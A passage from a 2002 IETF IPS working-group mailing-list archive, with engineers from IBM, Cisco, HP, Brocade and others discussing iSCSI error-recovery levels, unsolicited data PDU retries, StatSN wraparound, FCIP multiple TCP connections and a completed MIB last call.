connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram ------_=_NextPart_001_01C23E29.3CCD3D60 Content-Type: text/html
Julian,
 
To start a new session you need to start new connections and you need to support
the PDU recovery. So how is that a subset of PDU and connection recovery?
 
 
-Shahram
 
(I will explain the detailed clarity issues in another email)
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:34 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question


Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session.
As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific
or keep this type of comment out of this context.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:09 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question


Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo

Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
       To:        ips@ece.cmu.edu
       cc:        
       Subject:        iSCSI question

     



Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram



------_=_NextPart_001_01C23E29.3CCD3D60-- From owner-ips@ece.cmu.edu Wed Aug 7 12:58:57 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA28521 for ; Wed, 7 Aug 2002 12:58:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77GPJV13341 for ips-outgoing; Wed, 7 Aug 2002 12:25:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77GPGo13334; Wed, 7 Aug 2002 12:25:16 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g77GPAJv049268; Wed, 7 Aug 2002 18:25:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g77GP9Vw129326; Wed, 7 Aug 2002 18:25:09 +0200 To: Shahram Davari Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iSCSI question X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Wed, 7 Aug 2002 19:25:08 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 07/08/2002 19:25:09, Serialize complete at 07/08/2002 19:25:09 Content-Type: multipart/alternative; boundary="=_alternative 0059BA66C2256C0E_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0059BA66C2256C0E_= Content-Type: text/plain; charset="us-ascii" Session recovery means just creating a NEW session and forgetting about all old commands. It is the last resort recovery where everything else fails and as such it is the most basic function - that anybody has to have. Julo Shahram Davari 08/07/2002 06:43 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, To start a new session you need to start new connections and you need to support the PDU recovery. So how is that a subset of PDU and connection recovery? -Shahram (I will explain the detailed clarity issues in another email) -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:34 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram --=_alternative 0059BA66C2256C0E_= Content-Type: text/html; charset="us-ascii"
Session recovery means just creating a NEW session and forgetting about all old commands.
It is the last resort recovery where everything else fails and as such it is the most basic function - that anybody has to have.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:43 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Julian,
 
To start a new session you need to start new connections and you need to support
the PDU recovery. So how is that a subset of PDU and connection recovery?
 
 
-Shahram
 
(I will explain the detailed clarity issues in another email)
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:34 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session.
As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific
or keep this type of comment out of this context.

Julo

Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:09 PM

       
       To:        Julian Satran/Haifa/IBM@IBMIL
       cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
       Subject:        RE: iSCSI question

     



Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question


Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo
Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
      To:        ips@ece.cmu.edu
      cc:        
      Subject:        iSCSI question

     




Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram

--=_alternative 0059BA66C2256C0E_=-- From owner-ips@ece.cmu.edu Wed Aug 7 13:07:09 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28934 for ; Wed, 7 Aug 2002 13:07:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77GkYE15019 for ips-outgoing; Wed, 7 Aug 2002 12:46:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.54]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77GkVo15004; Wed, 7 Aug 2002 12:46:31 -0400 (EDT) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.151]) by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id g77GkL6I028891; Wed, 7 Aug 2002 09:46:21 -0700 (PDT) Received: from nisser.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.12.2/8.12.2) with ESMTP id g77GkSPR023668; Wed, 7 Aug 2002 09:46:28 -0700 (PDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA27218; Wed, 7 Aug 2002 09:46:12 -0700 (PDT) Message-ID: <3D5152AB.43701E1@cisco.com> Date: Wed, 07 Aug 2002 12:02:35 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: Shahram Davari , ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: Re: iSCSI question References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian- Your comment is accurate, but I just want to make sure that the readers take "last resort" properly. From a technical, iSCSI point of view, it's the last resort. However, from a practical (implementation/deployment) point of view, session recovery is not all that drastic. We have been shipping iSCSI drivers and targets that do session recovery for quite a while, and it works just quite well for disks (the OS SCSI layer handles any retries), and for tape applications that support re-positioning, which are becoming more common. We have spent a significant amount of time testing this both in our lab and in the field. Once tape device and driver vendors support SSC-2, there should be no need to do more than session recovery, except perhaps for some performance advantages environments where a lot of connection recovery needs to take place. But for most iSCSI environments, doing more than session recovery is not necessary. -- Mark Julian Satran wrote: > > Session recovery means just creating a NEW session and forgetting about all old commands. > It is the last resort recovery where everything else fails and as such it is the most basic > function - that anybody has to have. > > Julo > > Shahram Davari > To: Julian Satran/Haifa/IBM@IBMIL > 08/07/2002 06:43 PM > cc: ips@ece.cmu.edu, > owner-ips@ece.cmu.edu > Subject: RE: iSCSI question > > > > Julian, > > To start a new session you need to start new connections and you need to support > the PDU recovery. So how is that a subset of PDU and connection recovery? > > > -Shahram > > (I will explain the detailed clarity issues in another email) > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, August 07, 2002 11:34 AM > To: Shahram Davari > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu > Subject: RE: iSCSI question > > Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new > session. > As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific > or keep this type of comment out of this context. > > Julo > > Shahram Davari > To: Julian > 08/07/2002 06:09 PM Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu, > owner-ips@ece.cmu.edu > Subject: RE: iSCSI question > > > > Julian, > > Thanks. I have read that section but it is not very clear. > > I also agree that Connection recovery requires everything in command recovery. > But what about session recovery? isn't it a superset of both connection and command recovery? > > Yours, > -Shahram > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, August 07, 2002 11:03 AM > To: Shahram Davari > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu > Subject: Re: iSCSI question > > Sharam, > > You may want to go over the recovery chapter. > It has detailed answers to all your questions. > The superset/subset is based on functions you need for the next level. > > Session recovery drops real recovery to SCSI. > Command recovery recovers from individual command errors without > changing connection and the highest enable you to switch to a new connection and > continue commands there. > > 2 requires everything in 1. > > Julo > Shahram Davari > Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu > > 08/07/2002 05:17 PM cc: > Subject: iSCSI > question > > > > Hi, > > I have a question regarding the hierarchy of error recovery. > Section 6.13 mentions the hierarchy as: > > 2: Connection recovery > 1: Digest failure recovery > 0: Session recovery > > And it states that the higher levels are a superset of the > lower levels and that the level of complexity increases from 0->1->2. > > Couple of questions: > > 1) How is digest failure recovery done? by retransmission of PDUs? > 2) Why is the connection recovery a superset of session recovery > and more complex? > 3) It seems to me the order should be: > > 2: Session recovery > 1: Connection recovery > 0: Digest failure recovery > > I appreciate any insight. > > Thanks, > -Shahram -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Aug 7 13:15:23 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA29403 for ; Wed, 7 Aug 2002 13:15:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77GuEF15737 for ips-outgoing; Wed, 7 Aug 2002 12:56:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77GuBo15726; Wed, 7 Aug 2002 12:56:11 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g77Gu2Jv036134; Wed, 7 Aug 2002 18:56:03 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g77Gu2r2074670; Wed, 7 Aug 2002 18:56:02 +0200 To: Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: Unsolicited data PDU retry X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Wed, 7 Aug 2002 19:56:00 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 07/08/2002 19:56:02, Serialize complete at 07/08/2002 19:56:02 Content-Type: multipart/alternative; boundary="=_alternative 005CE00FC2256C0E_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 005CE00FC2256C0E_= Content-Type: text/plain; charset="us-ascii" Tony, Not all the recovery details are made explicit in text. The code is a bit more complete but it is also not exhaustive. It is meant to model recovery for interoperability. As for the data our assumption has been that target will drop data for non-instantiated tasks (not a known ITT). As for duplicates ignoring duplicates is implied by the window rules in 2. Julo "Tony Battersby" Sent by: owner-ips@ece.cmu.edu 08/06/2002 09:22 PM Please respond to tonyb To: cc: Subject: Unsolicited data PDU retry In section 5.2.1 Usage of Retry (draft 15), it is specified that initiators can resend commands that have not been acknowledged for a timeout period. Does this retry include re-sending unsolicited data PDU's? The target is supposed to ignore non-immediate commands with duplicate CmdSN's or CmdSN's outside the expected range, which takes care of immediate data, but I don't see anywhere where it is specified that the target should ignore duplicate or unexpected unsolicited data PDUs. Or, is the target supposed to hold on to unsolicited data PDU's for a command that it does not know about (e.g. because the command PDU was discarded due to a digest error) and then later re-associate the unsolicited data PDU's with the correct command when the command PDU is re-sent by the initiator? The last paragraph of section 2.4.2.2 gives some rules for the ordering of unsolicited data for different commands, which may also be related. Thanks, Anthony J. Battersby Cybernetics --=_alternative 005CE00FC2256C0E_= Content-Type: text/html; charset="us-ascii"
Tony,

Not all the recovery details are made explicit in text.
The code is a bit more complete but it is also not exhaustive.
It is meant to model recovery for interoperability.

As for the data our assumption has been that target will drop data for non-instantiated tasks (not a known ITT).
As for duplicates ignoring duplicates is implied by the window rules in 2.

Julo


"Tony Battersby" <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu

08/06/2002 09:22 PM
Please respond to tonyb

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        Unsolicited data PDU retry

       


In section 5.2.1 Usage of Retry (draft 15), it is specified that initiators
can resend commands that have not been acknowledged for a timeout period.
Does this retry include re-sending unsolicited data PDU's?  The target is
supposed to ignore non-immediate commands with duplicate CmdSN's or CmdSN's
outside the expected range, which takes care of immediate data, but I don't
see anywhere where it is specified that the target should ignore duplicate
or unexpected unsolicited data PDUs.  Or, is the target supposed to hold on
to unsolicited data PDU's for a command that it does not know about (e.g.
because the command PDU was discarded due to a digest error) and then later
re-associate the unsolicited data PDU's with the correct command when the
command PDU is re-sent by the initiator?

The last paragraph of section 2.4.2.2 gives some rules for the ordering of
unsolicited data for different commands, which may also be related.

Thanks,
Anthony J. Battersby
Cybernetics

--=_alternative 005CE00FC2256C0E_=-- From owner-ips@ece.cmu.edu Wed Aug 7 14:37:49 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03240 for ; Wed, 7 Aug 2002 14:37:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77I5rJ21103 for ips-outgoing; Wed, 7 Aug 2002 14:05:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (cyborg.cybernetics.com [206.246.200.18]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77HvGo20363 for ; Wed, 7 Aug 2002 13:57:16 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119058>; Wed, 7 Aug 2002 13:57:03 -0400 Reply-To: From: "Tony Battersby" To: Subject: StatSN wraparound; 2 typos Date: Wed, 7 Aug 2002 13:57:06 -0400 Message-ID: <000a01c23e3b$d884ce50$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) x-mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit According to 2.2.2.2 (draft 15), the status sequence number space is 32-bit unsigned integers and the arithmetic operations are the regular mod(2**32) arithmetic. Why is StatSN not specified to use serial number arithmetic (like CmdSN) to handle wrap-around? For example, I am working on a target implementation that keeps the information for response PDUs around until they are acknowledged by ExpStatSN from the initiator. If the target sends two response PDUs with StatSNs equal to 2**32-1 and 0, and the initiator's next PDU has ExpStatSN equal to 1, then the target should consider both response PDUs acknowledged. Clearly, this will not happen with "regular" unsigned integer comparisons, since 2**32-1 > 1. Perhaps it should be made explicit that comparisons on StatSN and ExpStatSN should use serial number arithmetic, which would handle the wrap-around. I have also found two typos in draft 15: Section 11.12 MaxRecvDataSegmentLength Last sentence "... if immediate data where sent" change "where" to "were". Section B.3 R2TSN DataSN use Examples Bidirectional DataSN Example "... in the alter case" change "alter" to "latter". Thanks, Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Wed Aug 7 14:38:13 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03290 for ; Wed, 7 Aug 2002 14:38:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77I4hb21021 for ips-outgoing; Wed, 7 Aug 2002 14:04:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77I4fo21016 for ; Wed, 7 Aug 2002 14:04:42 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id LAA03807; Wed, 7 Aug 2002 11:04:35 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Wed, 7 Aug 2002 11:05:48 -0700 Message-ID: From: Robert Snively To: Chong Peng , ips@ece.cmu.edu Subject: RE: questions about fcip Date: Wed, 7 Aug 2002 11:03:59 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk > -----Original Message----- > From: Chong Peng [mailto:ChongPeng@MaXXan.com] > Sent: Sunday, August 04, 2002 4:02 PM > To: ips@ece.cmu.edu > Subject: questions about fcip > > > FCIP gurus: > > The FCIP protocol allows one FCIP link have multiple TCP > connection. I have two questions about this: > > 1. Why would a FCIP link need multiple TCP connections? This allows implementations to avoid head of queue blocking of high priority transmissions, including the control functions. Examples include allowing separation of class F (control services), class 2, and class 3 Fibre Channel data transfer services. Not all devices may choose to use multiple TCP connections. > 2. If there are multiple TCP connections in a FCIP link, > which entity is responsible for distributing traffic among them. This is defined in the FC-BB-2 document managed by the T11 committee. Basically, the responsibility for implementing a device is divided between Fibre Channel activities (implemented by the FC Entity) and FCIP activities (implemented by the FCIP Entity). The FCIP Entity provides the multiple TCP connections and the FC Entity chooses which ones receive which types of data. It also chooses how many are required for a particular link and establishes only that number. Hope that is some help. Robert Snively Brocade Communications Systems, Inc. 1745 Technology Drive San Jose, CA 95110 E-Mail: rsnively@brocade.com Phone: (408) 487-8135 Fax: (408) 392-6655 From owner-ips@ece.cmu.edu Wed Aug 7 14:39:20 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03325 for ; Wed, 7 Aug 2002 14:39:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77IOUA22581 for ips-outgoing; Wed, 7 Aug 2002 14:24:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77IORo22576 for ; Wed, 7 Aug 2002 14:24:28 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel6.hp.com (Postfix) with ESMTP id DC233573; Wed, 7 Aug 2002 14:24:26 -0400 (EDT) Received: from swathi (swathi.rose.hp.com [15.43.213.237]) by core.rose.hp.com with SMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id LAA14975; Wed, 7 Aug 2002 11:26:20 -0700 (PDT) Message-ID: <004101c23e3f$a9de11c0$edd52b0f@rose.hp.com> From: "Mallikarjun C." To: , "Julian Satran" Cc: References: Subject: Re: Unsolicited data PDU retry Date: Wed, 7 Aug 2002 11:24:27 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Tony, In addition to what Julian said, let me add one more comment. Initiator is not expected to initiate any Data-Out recovery on its own - without being requested so via a recovery R2T by the target. The unsolicited data PDU retry is not advised. This follows from the design goal (e) in section 5.1.2 (top of page 80 in rev15) - only one side drives error recovery for a given class of PDUs, and target does it for Data-Out. Hope that clarifies. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: "Julian Satran" To: Cc: ; Sent: Wednesday, August 07, 2002 9:56 AM Subject: Re: Unsolicited data PDU retry > Tony, > > Not all the recovery details are made explicit in text. > The code is a bit more complete but it is also not exhaustive. > It is meant to model recovery for interoperability. > > As for the data our assumption has been that target will drop data for > non-instantiated tasks (not a known ITT). > As for duplicates ignoring duplicates is implied by the window rules in 2. > > Julo > > > > > "Tony Battersby" > Sent by: owner-ips@ece.cmu.edu > 08/06/2002 09:22 PM > Please respond to tonyb > > > To: > cc: > Subject: Unsolicited data PDU retry > > > > In section 5.2.1 Usage of Retry (draft 15), it is specified that > initiators > can resend commands that have not been acknowledged for a timeout period. > Does this retry include re-sending unsolicited data PDU's? The target is > supposed to ignore non-immediate commands with duplicate CmdSN's or > CmdSN's > outside the expected range, which takes care of immediate data, but I > don't > see anywhere where it is specified that the target should ignore duplicate > or unexpected unsolicited data PDUs. Or, is the target supposed to hold > on > to unsolicited data PDU's for a command that it does not know about (e.g. > because the command PDU was discarded due to a digest error) and then > later > re-associate the unsolicited data PDU's with the correct command when the > command PDU is re-sent by the initiator? > > The last paragraph of section 2.4.2.2 gives some rules for the ordering of > unsolicited data for different commands, which may also be related. > > Thanks, > Anthony J. Battersby > Cybernetics > > > From owner-ips@ece.cmu.edu Wed Aug 7 15:34:49 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05254 for ; Wed, 7 Aug 2002 15:34:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g77J6wW26501 for ips-outgoing; Wed, 7 Aug 2002 15:06:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from osmtp1.electric.net (osmtp1.electric.net [216.129.90.28]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g77J6so26472 for ; Wed, 7 Aug 2002 15:06:54 -0400 (EDT) Received: from [216.192.44.67] (helo=EGRodriguez) by osmtp1.electric.net with asmtp (Exim 3.22 #1) id 17cW8o-000F7E-04 for ips@ece.cmu.edu; Wed, 07 Aug 2002 12:06:42 -0700 From: "Elizabeth G. Rodriguez" To: Subject: FC Mgmt MIB WG Last Call Completed, successfully Date: Wed, 7 Aug 2002 14:02:47 -0600 Message-ID: <00de01c23e4d$6dd56260$432cc0d8@EGRodriguez> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00DF_01C23E1B.233AF260" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00DF_01C23E1B.233AF260 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello all, The FC Mgmt MIB WG last call has completed, successfully. There are a few comments against this MIB, but nothing that will cause a second last call to be needed. Thanks, Elizabeth Rodriguez & David Black IPS co-chairs ------=_NextPart_000_00DF_01C23E1B.233AF260 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello all,

 

The FC Mgmt MIB WG last call has completed, = successfully.

There are a few comments against this MIB, but = nothing that will cause a second last call to be needed.

 

Thanks,

 

Elizabeth Rodriguez & David = Black

IPS co-chairs

